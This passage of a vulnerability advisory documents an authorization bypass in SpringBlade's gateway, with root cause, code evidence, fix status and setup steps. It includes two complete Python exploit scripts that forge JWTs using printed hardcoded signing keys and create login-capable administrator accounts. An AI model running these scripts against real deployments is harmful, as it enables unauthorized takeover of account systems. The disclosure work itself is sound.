conditions:\n\n1. The target is the **SpringBlade microservice edition** and exposes the `blade-gateway` gateway component (with `blade-system`/`blade-user` registered in the same service-discovery center, e.g. Nacos).\n2. The gateway has **service-discovery dynamic routing** enabled (`spring.cloud.gateway.server.webflux.discovery.locator.enabled=true`, which is the default/common configuration).\n3. The attacker satisfies either of the following:\n   - Holds **any valid JWT recognized by the gateway** (even a token for the lowest-privilege regular user); **or**\n   - Obtains the gateway's **JWT signing key** and forges a valid JWT (for 2.7.3 ~ v3.5.0 the key is hardcoded in publicly available JARs and can be extracted directly; from v3.6.0 it became a config item\u2014see \u00a76.4).\n\n&amp;gt; In short: the exploitation barrier is extremely low\u2014all that's needed is a regular login account.\n\n---\n\n## 4. Impact\n\nAn attacker exploiting this vulnerability can directly:\n\n1. **Full Privilege Escalation (Role/Data Privilege Escalation)**: Forge fields such as `tenantId`, `account`, `password`, `roleId`, `deptId`, `postId` to create an account with the **`administrator` super-administrator role**, achieving regular-user \u2192 system-administrator escalation.\n2. **Bypass control-plane checks**: Circumvent the administrator permission check in `UserController.submit` (`@PreAuth(HAS_ROLE_ADMIN)`).\n3. **Improper handling**: Directly call the underlying `service.save`, **skipping password encryption (`DigestUtil.encrypt`), tenant binding, and account-uniqueness checks in the normal flow**, writing a plaintext password to the database and creating a persistent backdoor.\n4. **Cross-tenant damage**: Arbitrarily specify `tenantId` to pollute other tenants' data and break tenant isolation.\n5. **Consolidation**: Persistently control the entire system's account infrastructure.\n\nScope and severity: Because SpringBlade is widely used in numerous enterprise back-office management projects, this vulnerability severely compromises the account system and tenant-isolation boundaries, and is rated **High**.\n\n---\n\n## 5. Technical Analysis (Root Cause)\n\nThe vulnerability is caused by the combination of three defects: **gateway route rewriting + coarse-grained authentication + exposure of a downstream internal Feign controller**:\n\n1. **Route exposure and rewriting**: `blade-gateway` enables discovery locator, and an external request `POST /blade-system/user/save-user` (or `/blade-user/user/save-user` on older versions) has its first path segment (the service name) stripped, being rewritten to `/user/save-user` and forwarded to the downstream user service. The path stripping is done by one of two mechanisms: **the default `RewritePath` filter automatically generated by the discovery locator** (present in all affected versions), and SpringBlade's custom `RequestFilter` (`.skip(1)`, introduced in v3.0.2, duplicating the former's effect). Therefore this exposure surface has existed since 2.7.3, when the `save-user` endpoint was born.\n2. **Insufficient gateway authentication**: The gateway's `AuthFilter` only verifies via `JwtUtil.parseJWT(token)` whether the token parses successfully; **it does not check user roles, admin privileges, or Feign client identity**, nor does it apply any whitelist/blacklist or source checks to internal endpoint paths.\n3. **Unguarded internal service boundary**: `UserClient` in the `blade-system` module was meant to be a Feign implementation class, but it is also annotated with `@RestController`, exposing a plain HTTP entry point; its `saveUser` method has **no `@PreAuth`** and directly calls `service.save(user)` to persist an attacker-controlled user object.\n\n&amp;gt; Normal external administrator user creation goes through `UserController.submit`, which enforces strict admin permissions, tenant binding, and password encryption; whereas an attacker reaches the completely undefended `UserClient.saveUser` through the gateway, skipping all business security barriers and writing data directly to the database.\n\n---\n\n## 6. Code Evidence (Precisely Annotated by Version)\n\n&amp;gt; Source repository: Gitee `https://gitee.com/smallc/SpringBlade.git` (GitHub mirror `https://github.com/chillzhuang/SpringBlade.git`)\n&amp;gt; Affected version tag (v4.10.0): `3002202ed38ca0eed0bbf1f69d33fd056ef6b515` (2026-05-10)\n\n### 6.1 Gateway: Path Rewriting (`RequestFilter`)\n\nFile: `blade-gateway/src/main/java/org/springblade/gateway/filter/RequestFilter.java` (**introduced in v3.0.2, present in v3.1.0 and v4.10.0; absent in 2.7.3 ~ v3.0.1, where the locator's default `RewritePath` filter performs the equivalent stripping\u2014see \u00a72.1**)\n\n```java\nString rawPath = request.getURI().getRawPath();\nString newPath = \"/\" + Arrays.stream(StringUtils.tokenizeToStringArray(rawPath, \"/\"))\n    .skip(1L)                                              // [v4.10.0:32] strip the 1st path segment (service name)\n    .collect(Collectors.joining(\"/\"));                     // [v3.1.0:32]\n```\n\n\u2192 An external `/blade-system/user/save-user` is rewritten to the downstream `/user/save-user`.\n\n### 6.2 Gateway: Authentication Only Verifies the JWT (`AuthFilter`)\n\nFile: `blade-gateway/src/main/java/org/springblade/gateway/filter/AuthFilter.java` (**identical in v3.1.0 / v4.10.0**)\n\n```java\nString headerToken = exchange.getRequest().getHeaders().getFirst(AuthProvider.AUTH_KEY); // [v4.10.0:67]\nString paramToken  = exchange.getRequest().getQueryParams().getFirst(AuthProvider.AUTH_KEY); // [v4.10.0:68]\n...\nClaims claims = JwtUtil.parseJWT(token);      // [v4.10.0:78] only parses the JWT\nif (claims == null) {\n    return unAuth(resp, \"\u8bf7\u6c42\u672a\u6388\u6743\");          // [v4.10.0:79] passes as long as parsing succeeds\n}\nreturn chain.filter(exchange);\n```\n\n\u2192 **Only checks \"whether the token parses\"**; no role / internal-endpoint / service-identity checks, and no verification that `claims` fields such as `tenant_id`, `role_id`, `role_name` match actual database records (signature check only, no semantic validation).\n\n### 6.3 Downstream: Feign Implementation Exposes the Internal Write Endpoint as Unprotected HTTP (`UserClient`)\n\nFiles (by version):\n- `blade-service/blade-user/src/main/java/.../system/user/feign/UserClient.java` (2.7.3 ~ 4.1.0, including v3.1.0)\n- `blade-service/blade-system/src/main/java/.../system/feign/UserClient.java` (v4.2.0 ~ v4.10.0; the `blade-user` module was merged into `blade-system` at v4.2.0)\n\n```java\n@Hidden                          // SpringDoc/Swagger annotation: only hides API docs, does NOT affect Spring MVC route registration\n@RestController                  // [v4.10.0:36] / [v3.1.0:33] also a REST Controller (reachable externally)\n@AllArgsConstructor\npublic class UserClient implements IUserClient {\n\n    private IUserService service;\n\n    @Override\n    @PostMapping(API_PREFIX + \"/user/save-user\")           // [v4.10.0:60] / [v3.1.0:57]\n    public R saveUser(User user) {\n        return R.data(service.save(user));                 // [v4.10.0:61-62 / v3.1.0:59] persists directly, no @PreAuth\n    }\n}\n```\n\n&amp;gt; **Key point: incorrect use of `@Hidden`**. `@Hidden` is a springdoc-openapi annotation whose only effect is to hide the controller from Swagger/OpenAPI documentation\u2014**it does not prevent Spring MVC from registering `UserClient` as an HTTP route**. The code author's intent was clearly \"internal Feign implementation\", but **`@RestController` makes it reachable over external HTTP**, with all routes inherited from `IUserClient` (an external-facing interface). This is a classic vulnerability caused by implementation-intent mismatch.\n\nCorresponding Feign interface (same version): `blade-service-api/blade-user-api/.../feign/IUserClient.java`\n```java\nString API_PREFIX = \"/user\";                              // [v4.10.0:41] / [v3.1.0:41]\n@PostMapping(API_PREFIX + \"/save-user\")                   // [v4.10.0:78]\nR saveUser(@RequestBody User user);              // [v4.10.0:79] exposed as an external HTTP entry point\n```\n\n### 6.4 JWT Signing Key Situation Across Versions (Affects Exploitation Barrier)\n\n- **2.7.3**: `TokenConstant.SIGN_KEY` hardcoded to `\"Blade\"` (`blade-core-launch-2.7.3.jar`, verified by decompilation).\n- **2.8.0 ~ v3.5.0**: `TokenConstant.SIGN_KEY` hardcoded to the long string below; the gateway's `JwtUtil.parseJWT` references this constant directly and **it does not change with any configuration** (verified at gateway `JwtUtil.java:32/36/64` in v3.1.0):\n\n```java\nSIGN_KEY = \"bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject\";\nBASE64_SECURITY = Base64.encode(SIGN_KEY.getBytes(UTF_8));   // used as the HMAC-SHA256 key\n```\n\n- **v3.6.0 ~ v4.10.0**: Changed to read from the config item `blade.token.sign-key` (gateway `JwtProperties`; `getSignKey()` enforces length \u226532, otherwise startup throws `JwtException(\"\u8bf7\u914d\u7f6e blade.token.sign-key \u7684\u503c, \u957f\u5ea632\u4f4d\u4ee5\u4e0a\")`).\n\n\u2192 For 2.7.3 ~ v3.5.0, an attacker can extract the key directly from publicly available JARs and forge a JWT for any role, **without needing any legitimate account**; for v3.6.0+, the attacker must hold any genuine low-privilege JWT (or learn the deployment's own sign-key).\n\n---\n\n## 7. Fix Status\n\nThe vulnerability was **officially fixed in `v5.0.0`**, in a **single commit**:\n\n- **Commit / tag**: `c69b9547c942c697da2f3ee6a9265b6004abd645` (tag `v5.0.0`)\n- **Commit message**: `5.0.0.RELEASE \u91cd\u6784\u5347\u7ea7 SpringBoot4 SpringCloud2025 JDK21 TypeScript`\n- **Date**: `2026-07-30`\n- This commit makes the following **three fixes at once** (corresponding to the three root causes of this vulnerability):\n  1. **Removes the `UserClient.saveUser` write endpoint** (`saveUser` deleted from both `UserClient.java` and `IUserClient.java`) \u2014 completely eliminates the landing entry for the service-auth bypass;\n  2. **Tightens internal Feign endpoint paths**: `API_PREFIX` changed from `/user` to `/feign/client/user` (`IUserClient.java`), isolating internal Feign endpoints from external business endpoints;\n  3. **Adds internal-endpoint interception in the gateway**: new `blade-gateway/.../filter/InnerFilter.java` normalizes the raw path and, if it hits the reserved segments `feign/client`, always returns `403 \u7981\u6b62\u8bbf\u95ee\u5185\u90e8\u63a5\u53e3` (`{\"msg\":\"\u7981\u6b62\u8bbf\u95ee\u5185\u90e8\u63a5\u53e3\",\"code\":403}`), regardless of whether the token is valid.\n\n&amp;gt; Conclusion: **Affected versions must be upgraded to v5.0.0 or later**; v5.0.1 and the latest master both include this fix (verified statically: `saveUser` removal, `API_PREFIX` change, and `InnerFilter` all present).\n\n---\n\n## 8. Reproduction Steps and Verification (Full PoC)\n\n### 8.1 Verification Summary\n\n| Low-privilege JWT hitting the internal write endpoint | 2.7.3 | v3.0.0 | v3.1.0 | v4.10.0 | v5.0.x |\n|---|---|---|---|---|---|\n| No token | `401` (verified) | `401` (verified) | `401` (verified) | `401` (verified) | `401` |\n| **Low-privilege JWT hitting `/save-user`** | **`200` admin created (verified)** | **`200` admin created (verified)** | **`200` admin created (verified)** | **`200` admin created (verified)** | `404` endpoint gone (verified statically) |\n| Database write (plaintext password + administrator role) | \u2705 | \u2705 | \u2705 | \u2705 | \u274c No write |\n| Key used to forge the JWT | `\"Blade\"` (hardcoded) | long hardcoded string (\u00a76.4) | long hardcoded string (\u00a76.4) | deployment's own sign-key | \u2014 |\n| Control group `/user/submit` (requires admin) | \u2014 | \u2014 | \u2014 | `401` rejected (verified) | \u2014 |\n| Internal `/feign/...` access | reachable | reachable | reachable | reachable | `403` intercepted (verified statically) |\n\n&amp;gt; Note: the v3.0.0 gateway has **no** `RequestFilter`, yet reproduction still succeeds\u2014proving the discovery locator's default `RewritePath` filter alone completes path stripping (see \u00a72.1).\n\n### 8.2 Python PoC (Script 1): Gateway direct to internal endpoint + control group + database write verification\n\nThe following PoC uses only the Python standard library and sends real HTTP requests to a running victim gateway. The script performs three groups of verification in sequence. It **has no third-party dependencies**\u2014the JWT is built with the standard library's HMAC-SHA256 (forging a low-privilege `user`-role token), HTTP uses `urllib`, and database verification is done via `docker exec mysql`. The script's **default account `poc_report_` and default password `poc-report-plain`** are both safe ASCII (enforced by the `SAFE_ACCOUNT` regex, so SQL-injection risk is zero).\n\n1. **No-token control**: `POST /user/save-user` (expect `401`, proving gateway auth is in effect);\n2. **Exploit request**: hit the same internal write endpoint with a **forged low-privilege (`user` role) JWT** (expect `200`, admin created);\n3. **Control-plane control** (when `POC_CHECK_SUBMIT_CONTROL=1`): hit `UserController.submit` (`@PreAuth(HAS_ROLE_ADMIN)`) with the same JWT, expecting rejection\u2014proving the escalation bypasses control-plane checks;\n4. **Database write verification**: query MySQL `blade.blade_user` via `docker exec`, checking the account and **plaintext password** persisted.\n\nAll parameters can be overridden via environment variables. `` varies by version: `/blade-user` for 2.7.3 ~ 4.1.0, `/blade-system` from v4.2.0 (see \u00a72.2). Full list of Script 1 environment variables:\n\n| Category | Variable | Default | Description |\n|---|---|---|---|\n| Target | `POC_GATEWAY_URL` | `http://127.0.0.1:18080` | Victim gateway address |\n| Target | `POC_PATH_PREFIX` | `/blade-system` | Route prefix for the version |\n| Key | `POC_SIGN_KEY` | (required) | JWT forging key (\u00a76.4) |\n| Data | `POC_ACCOUNT` / `POC_PASSWORD` / `POC_TENANT_ID` / `POC_ROLE_ID` / `POC_DEPT_ID` / `POC_POST_ID` | `poc_report_` / `poc-report-plain` / `000000` / `1123598816738675201` / `1123598813738675201` / `1123598817738675201` | User fields to persist |\n| JWT claims | `POC_TOKEN_*` | see script payload | Inner fields of the forged low-privilege JWT |\n| Control | `POC_CHECK_SUBMIT_CONTROL` | `1` | Whether to call `UserController.submit` as a rejection control |\n| Database | `POC_SKIP_DB_CHECK` / `POC_MYSQL_CONTAINER` / `POC_MYSQL_USER` / `POC_MYSQL_PASSWORD` / `POC_MYSQL_DB` | `0` / `sb-mysql` / `root` / `root` / `blade` | Skip DB verification / docker exec connection |\n| Other | `POC_HTTP_TIMEOUT` | `20` | HTTP timeout (seconds) |\n\n```bash\n# v4.x environment (gateway 18080, requires a deployment-configured \u226532-char sign-key, prefix /blade-system)\nPOC_GATEWAY_URL=http://127.0.0.1:18080 \\\nPOC_PATH_PREFIX=/blade-system \\\nPOC_SIGN_KEY='springblade-vuln-sign-key-20260528-32chars' \\\nPOC_MYSQL_CONTAINER=sb-mysql \\\npython3 springblade_service_auth_bypass_poc.py\n\n# v3.x / 2.7.3 environment (hardcoded key, prefix /blade-user, see \u00a76.4)\nPOC_GATEWAY_URL=http://127.0.0.1:18080 \\\nPOC_PATH_PREFIX=/blade-user \\\nPOC_SIGN_KEY='bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject' \\\nPOC_MYSQL_CONTAINER=sb-mysql \\\npython3 springblade_service_auth_bypass_poc.py\n#  For 2.7.3 use POC_SIGN_KEY='Blade'\n```\n\n`poc/src/springblade_service_auth_bypass_poc.py` (full script):\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for SpringBlade gateway-to-Feign service authorization bypass.\n\nThe script targets a running vulnerable SpringBlade deployment. It does not\nreimplement application logic; it sends the same external HTTP request that is\nrouted by the real gateway to the real user service (blade-user for\n2.7.3~4.1.0, blade-system for v4.2.0+).\n\"\"\"\n\nfrom __future__ import annotations\n\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n\nDEFAULT_GATEWAY_URL = \"http://127.0.0.1:18080\"\n# v4.x: /blade-system  |  2.7.3 ~ 4.1.0: /blade-user\nDEFAULT_PATH_PREFIX = \"/blade-system\"\nSAFE_ACCOUNT = re.compile(r\"^[A-Za-z0-9_.@-]+$\")\n\n\ndef env(name: str, default: str) -&amp;gt; str:\n    return os.environ.get(name, default)\n\n\ndef b64url(raw: bytes) -&amp;gt; str:\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode(\"ascii\")\n\n\ndef make_jwt(sign_key: str) -&amp;gt; str:\n    header = {\"alg\": \"HS256\", \"typ\": \"JWT\"}\n    payload = {\n        \"token_type\": \"access_token\",\n        \"tenant_id\": env(\"POC_TOKEN_TENANT_ID\", \"000000\"),\n        \"user_id\": env(\"POC_TOKEN_USER_ID\", \"1123598821738675201\"),\n        \"role_id\": env(\"POC_TOKEN_ROLE_ID\", \"1123598816738675202\"),\n        \"dept_id\": env(\"POC_TOKEN_DEPT_ID\", \"1123598813738675201\"),\n        \"account\": env(\"POC_TOKEN_ACCOUNT\", \"lowuser\"),\n        \"user_name\": env(\"POC_TOKEN_USER_NAME\", \"lowuser\"),\n        \"role_name\": env(\"POC_TOKEN_ROLE_NAME\", \"user\"),\n        \"aud\": env(\"POC_TOKEN_AUD\", \"audience\"),\n        \"iss\": env(\"POC_TOKEN_ISS\", \"issuser\"),\n        \"exp\": int(time.time()) + int(env(\"POC_TOKEN_TTL_SECONDS\", \"3600\")),\n    }\n    signing = (\n        f\"{b64url(json.dumps(header, separators=(',', ':')).encode())}.\"\n        f\"{b64url(json.dumps(payload, separators=(',', ':')).encode())}\"\n    ).encode(\"ascii\")\n    signature = hmac.new(sign_key.encode(\"utf-8\"), signing, hashlib.sha256).digest()\n    return signing.decode(\"ascii\") + \".\" + b64url(signature)\n\n\ndef http_post_json(url: str, body: dict[str, str], token: str | None = None) -&amp;gt; tuple[int, str]:\n    data = json.dumps(body).encode(\"utf-8\")\n    headers = {\"Content-Type\": \"application/json\"}\n    if token:\n        headers[\"Blade-Auth\"] = f\"bearer {token}\"\n    request = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n    try:\n        with urllib.request.urlopen(request, timeout=float(env(\"POC_HTTP_TIMEOUT\", \"20\"))) as response:\n            return response.status, response.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as exc:\n        return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n\n\ndef mysql_query(sql: str) -&amp;gt; str:\n    container = env(\"POC_MYSQL_CONTAINER\", \"sb-mysql\")\n    user = env(\"POC_MYSQL_USER\", \"root\")\n    password = env(\"POC_MYSQL_PASSWORD\", \"root\")\n    cmd = [\n        \"docker\",\n        \"exec\",\n        container,\n        \"mysql\",\n        f\"-u{user}\",\n        f\"-p{password}\",\n        \"-N\",\n        \"-B\",\n        \"-e\",\n        sql,\n    ]\n    completed = subprocess.run(cmd, check=False, text=True, capture_output=True)\n    if completed.returncode != 0:\n        raise RuntimeError(completed.stderr.strip() or completed.stdout.strip())\n    return completed.stdout.strip()\n\n\ndef require_safe_account(account: str) -&amp;gt; None:\n    if not SAFE_ACCOUNT.match(account):\n        raise ValueError(f\"Unsafe account value for SQL verification: {account!r}\")\n\n\ndef main() -&amp;gt; int:\n    gateway_url = env(\"POC_GATEWAY_URL\", DEFAULT_GATEWAY_URL).rstrip(\"/\")\n    path_prefix = env(\"POC_PATH_PREFIX\", DEFAULT_PATH_PREFIX)\n    sign_key = env(\"POC_SIGN_KEY\", \"\")\n    account = env(\"POC_ACCOUNT\", f\"poc_report_{int(time.time())}\")\n    password = env(\"POC_PASSWORD\", \"poc-report-plain\")\n    tenant_id = env(\"POC_TENANT_ID\", \"000000\")\n    role_id = env(\"POC_ROLE_ID\", \"1123598816738675201\")\n    dept_id = env(\"POC_DEPT_ID\", \"1123598813738675201\")\n    post_id = env(\"POC_POST_ID\", \"1123598817738675201\")\n    db_name = env(\"POC_MYSQL_DB\", \"blade\")\n\n    if not sign_key:\n        print(\"[!] POC_SIGN_KEY is required\", file=sys.stderr)\n        return 2\n\n    require_safe_account(account)\n    token = make_jwt(sign_key)\n    save_user_url = f\"{gateway_url}{path_prefix}/user/save-user\"\n    submit_url = f\"{gateway_url}{path_prefix}/user/submit\"\n    body = {\n        \"tenantId\": tenant_id,\n        \"account\": account,\n        \"password\": password,\n        \"name\": \"poc\",\n        \"realName\": \"poc\",\n        \"roleId\": role_id,\n        \"deptId\": dept_id,\n        \"postId\": post_id,\n    }\n\n    print(f\"[*] Gateway URL: {gateway_url}\")\n    print(f\"[*] Target: {save_user_url}\")\n    print(f\"[*] PoC account: {account}\")\n\n    no_token_status, no_token_body = http_post_json(save_user_url, body)\n    print(f\"[*] No-token control status: {no_token_status}\")\n    print(f\"[*] No-token control body: {no_token_body}\")\n\n    exploit_status, exploit_body = http_post_json(save_user_url, body, token)\n    print(f\"[*] Exploit status: {exploit_status}\")\n    print(f\"[*] Exploit body: {exploit_body}\")\n    if exploit_status != 200:\n        print(\"[!] Exploit request did not return HTTP 200\", file=sys.stderr)\n        return 1\n\n    if env(\"POC_CHECK_SUBMIT_CONTROL\", \"1\") == \"1\":\n        submit_account = f\"{account}_submit\"\n        submit_body = dict(body)\n        submit_body[\"account\"] = submit_account\n        submit_status, submit_response = http_post_json(submit_url, submit_body, token)\n        print(f\"[*] Admin submit control status: {submit_status}\")\n        print(f\"[*] Admin submit control body: {submit_response}\")\n\n    if env(\"POC_SKIP_DB_CHECK\", \"0\") == \"1\":\n        print(\"[*] Database verification skipped by POC_SKIP_DB_CHECK=1\")\n        return 0\n\n    sql = (\n        \"SELECT id,tenant_id,account,password,role_id,dept_id,post_id,status,is_deleted \"\n        f\"FROM {db_name}.blade_user WHERE account='{account}'\"\n    )\n    row = mysql_query(sql)\n    print(\"[*] Database row:\")\n    print(row)\n    if not row:\n        print(\"[!] Database row was not created\", file=sys.stderr)\n        return 1\n    fields = row.split(\"\\t\")\n    if len(fields) &amp;lt; 9 or fields[2] != account or fields[3] != password:\n        print(\"[!] Database row does not match the expected account/password\", file=sys.stderr)\n        return 1\n\n    print(\"[+] Vulnerability reproduced: low-privilege JWT reached /user/save-user and created a user.\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n### 8.3 Python PoC (Script 2): Create a **login-capable** administrator via the frontend `/api` proxy\n\nScript 1 writes a **plaintext password** (because `saveUser` skips `DigestUtil.encrypt`), so the resulting account becomes a backdoor whose password cannot be used for normal login. Script 2 targets **real deployment topology** (frontend forwards to the gateway via an `/api` proxy), reproduces the same vulnerability, and makes two improvements that complete an \"executable privilege-escalation loop\":\n\n1. **Reproduces the password-encryption logic**: locally computes `DigestUtil.encrypt(plaintext)` (`sha1(md5(plaintext))`) and writes that to the `password` field\u2014the created administrator account can **log into the system directly**, forming a fully usable escalation loop; this is stronger evidence than Script 1's DB-write verification: the impact is not merely \"an admin row was created\" but \"a working account was created that can immediately be used to take over the system\".\n2. **More realistic credentials**: only needs the `Blade-Auth` header to carry **any genuine JWT of a logged-in low-privilege user** (a bare JWT can also be pasted; the script automatically adds the `bearer ` prefix), with no need to know the gateway signing key (for v3.6.0+ a genuine JWT works; for 2.7.3~v3.5.0, Script 1's hardcoded-key forging also applies).\n\n```bash\n# --target is the frontend proxy base URL (its /api prefix is proxied to the gateway)\npython3 create_admin_with_blade_auth.py \\\n  --target http://127.0.0.1:2888 \\\n  --blade-auth 'bearer eyJhbGciOi...(any low-privilege user token)' \\\n  --account audit_admin_01\n\n# On success, stdout prints only two lines (usable directly for login verification):\n#   account=audit_admin_01\n#   password=\n\n# Full CLI options: --target (required, frontend proxy base) / --blade-auth (required, Blade-Auth header value or bare JWT)\n#   / --account (default audit_admin_, ASCII-enforced) / --password (default random 16 chars, safe charset)\n#   / --tenant-id / --role-id / --dept-id / --post-id / --name / --real-name\n#   / --path (default /api/blade-system/user/save-user) / --timeout (default 20s) / --store-raw-password\n```\n\n`poc/src/create_admin_with_blade_auth.py` (full script):\n\n```python\n#!/usr/bin/env python3\n\"\"\"Create a SpringBlade administrator through the vulnerable save-user route.\n\nInputs required by default:\n  --target      Frontend proxy base URL, for example http://127.0.0.1:2888\n  --blade-auth  Value of the Blade-Auth header. A raw JWT is also accepted and\n                will be sent as \"bearer \".\n\nOn success, stdout contains only the created account and plaintext password.\nDiagnostic information is written to stderr.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport hashlib\nimport json\nimport re\nimport secrets\nimport string\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n\nSAFE_ACCOUNT = re.compile(r\"^[A-Za-z0-9_.@-]+$\")\nDEFAULT_FRONTEND_PROXY_PATH = \"/api/blade-system/user/save-user\"\n\n\ndef springblade_digest(password: str) -&amp;gt; str:\n    \"\"\"Replicate org.springblade.core.tool.utils.DigestUtil.encrypt.\"\"\"\n    md5_hex = hashlib.md5(password.encode(\"utf-8\")).hexdigest()\n    return hashlib.sha1(md5_hex.encode(\"utf-8\")).hexdigest()\n\n\ndef normalize_blade_auth(value: str) -&amp;gt; str:\n    value = value.strip()\n    if value.lower().startswith(\"blade-auth:\"):\n        value = value.split(\":\", 1)[1].strip()\n    if value[:6].lower() in {\"bearer\", \"crypto\"}:\n        return value\n    return f\"bearer {value}\"\n\n\ndef random_password(length: int = 16) -&amp;gt; str:\n    alphabet = string.ascii_letters + string.digits\n    return \"\".join(secrets.choice(alphabet) for _ in range(length))\n\n\ndef build_url(target: str, path: str) -&amp;gt; str:\n    target = target.rstrip(\"/\")\n    if not path:\n        return target\n    if not path.startswith(\"/\"):\n        path = \"/\" + path\n    if target.endswith(\"/api\") and path.startswith(\"/api/\"):\n        path = path[len(\"/api\"):]\n    return target + path\n\n\ndef post_json(url: str, blade_auth: str, body: dict[str, str], timeout: float) -&amp;gt; tuple[int, str]:\n    data = json.dumps(body, separators=(\",\", \":\")).encode(\"utf-8\")\n    request = urllib.request.Request(\n        url,\n        data=data,\n        headers={\n            \"Blade-Auth\": normalize_blade_auth(blade_auth),\n            \"Content-Type\": \"application/json\",\n            \"Accept\": \"application/json\",\n        },\n        method=\"POST\",\n    )\n    try:\n        with urllib.request.urlopen(request, timeout=timeout) as response:\n            return response.status, response.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as exc:\n        return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n\n\ndef parse_args() -&amp;gt; argparse.Namespace:\n    parser = argparse.ArgumentParser(\n        description=\"Create an administrator via the SpringBlade frontend /api proxy to the vulnerable save-user route.\"\n    )\n    parser.add_argument(\"--target\", required=True, help=\"Frontend proxy base URL, e.g. http://127.0.0.1:2888\")\n    parser.add_argument(\"--blade-auth\", required=True, help=\"Blade-Auth header value or raw JWT\")\n    parser.add_argument(\"--account\", default=f\"audit_admin_{int(time.time())}\", help=\"Admin account to create\")\n    parser.add_argument(\"--password\", default=None, help=\"Plaintext password to return; generated if omitted\")\n    parser.add_argument(\"--tenant-id\", default=\"000000\")\n    parser.add_argument(\"--role-id\", default=\"1123598816738675201\", help=\"Default SpringBlade administrator role id\")\n    parser.add_argument(\"--dept-id\", default=\"1123598813738675201\")\n    parser.add_argument(\"--post-id\", default=\"1123598817738675201\")\n    parser.add_argument(\"--name\", default=\"audit-admin\")\n    parser.add_argument(\"--real-name\", default=\"audit\")\n    parser.add_argument(\n        \"--path\",\n        default=DEFAULT_FRONTEND_PROXY_PATH,\n        help=f\"Request path under --target; default {DEFAULT_FRONTEND_PROXY_PATH}\",\n    )\n    parser.add_argument(\"--timeout\", type=float, default=20.0)\n    parser.add_argument(\n        \"--store-raw-password\",\n        action=\"store_true\",\n        help=\"Store the plaintext password directly. Do not use unless you only need DB write proof.\",\n    )\n    return parser.parse_args()\n\n\ndef main() -&amp;gt; int:\n    args = parse_args()\n    if not SAFE_ACCOUNT.match(args.account):\n        print(f\"Refusing unsafe account value: {args.account!r}\", file=sys.stderr)\n        return 2\n\n    plaintext_password = args.password or random_password()\n    stored_password = plaintext_password if args.store_raw_password else springblade_digest(plaintext_password)\n    url = build_url(args.target, args.path)\n    body = {\n        \"tenantId\": args.tenant_id,\n        \"account\": args.account,\n        \"password\": stored_password,\n        \"name\": args.name,\n        \"realName\": args.real_name,\n        \"roleId\": args.role_id,\n        \"deptId\": args.dept_id,\n        \"postId\": args.post_id,\n    }\n\n    print(f\"[*] POST {url}\", file=sys.stderr)\n    print(f\"[*] account={args.account} roleId={args.role_id}\", file=sys.stderr)\n    if not args.store_raw_password:\n        print(\"[*] password is stored as SpringBlade DigestUtil.encrypt(plaintext)\", file=sys.stderr)\n\n    status, response_body = post_json(url, args.blade_auth, body, args.timeout)\n    print(f\"[*] HTTP {status}\", file=sys.stderr)\n    print(f\"[*] response={response_body}\", file=sys.stderr)\n\n    try:\n        parsed = json.loads(response_body)\n    except json.JSONDecodeError:\n        parsed = {}\n\n    success = status == 200 and (\n        parsed.get(\"data\") is True\n        or parsed.get(\"success\") is True\n        or parsed.get(\"code\") == 200\n    )\n    if not success:\n        print(\"[!] administrator creation did not succeed\", file=sys.stderr)\n        return 1\n\n    print(f\"account={args.account}\")\n    print(f\"password={plaintext_password}\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n&amp;gt; Note: For **2.7.3 ~ 4.1.0** (prefix `/blade-user`, see \u00a72.2), set `POC_PATH_PREFIX=/blade-user` in Script 1 and choose the key per \u00a76.4 (`\"Blade\"` for 2.7.3, the long hardcoded string for 2.8.0 ~ v3.5.0); for Script 2, change `--path` to `/api/blade-user/user/save-user`. Database table name, database name, and container name must match the actual environment.\n\n---\n\n## 9. Environment Setup (From Scratch to Reproduction)\n\nBelow is a minimal \"one-click reproduction of CVE-2026-56100\" environment (Docker), using SpringBlade's own deployment files. **Tested fixes applied** to several commands that would not run as originally written (required nacos 3.x parameters, MySQL 8 public-key retrieval, SQL-file differences, variable-name typos).\n\n### 9.1 Source Code\n\n```bash\ngit clone https://github.com/chillzhuang/SpringBlade.git   # or gitee: https://gitee.com/smallc/SpringBlade.git\ngit checkout v4.10.0        # affected version (2.7.3 / v3.0.0 / v3.1.0 etc. also work, see \u00a72)\n```\n\n### 9.2 Build\n\n- **v4.x (JDK 17 / Maven 3.9)**: build `blade-gateway` and `blade-service/blade-system`; for 2.7.3 ~ 4.1.0 the second module is `blade-service/blade-user`.\n- **2.7.3 ~ v3.5.0 (JDK 8 / Maven 3.6)**.\n\n```bash\n# v4.x\nmvn -pl blade-gateway,blade-service/blade-system -am -DskipTests -Dflatten.skip=true package\n# 2.7.3 ~ 4.1.0\nmvn -pl blade-gateway,blade-service/blade-user -am -DskipTests -Dflatten.skip=true package\n# Output: blade-gateway/target/blade-gateway.jar, blade-service/blade-system(or blade-user)/target/*.jar\n```\n\n&amp;gt; Containerized build example (with dependency-cache mount):\n&amp;gt; ```bash\n&amp;gt; docker run --rm -v \"$PWD:/src\" -v \"$HOME/.m2:/root/.m2\" -w /src maven:3.9-eclipse-temurin-17 \\\n&amp;gt;   mvn -pl blade-gateway,blade-service/blade-system -am -DskipTests -Dflatten.skip=true package\n&amp;gt; ```\n\n### 9.3 Middleware (Docker)\n\nThree tested corrections: \u2460 nacos 3.x mandates a **\u226532-byte base64** `NACOS_AUTH_TOKEN` plus `NACOS_AUTH_IDENTITY_KEY/VALUE` (the example `'token'` is too short and fails to start); \u2461 `blade.mysql.all.create.sql` **exists only in v4.x**\u2014for 2.7.x / v3.x the corresponding schema script is `doc/sql/blade/blade-saber-mysql.sql`; \u2462 ports can be adjusted as needed\u2014full working commands 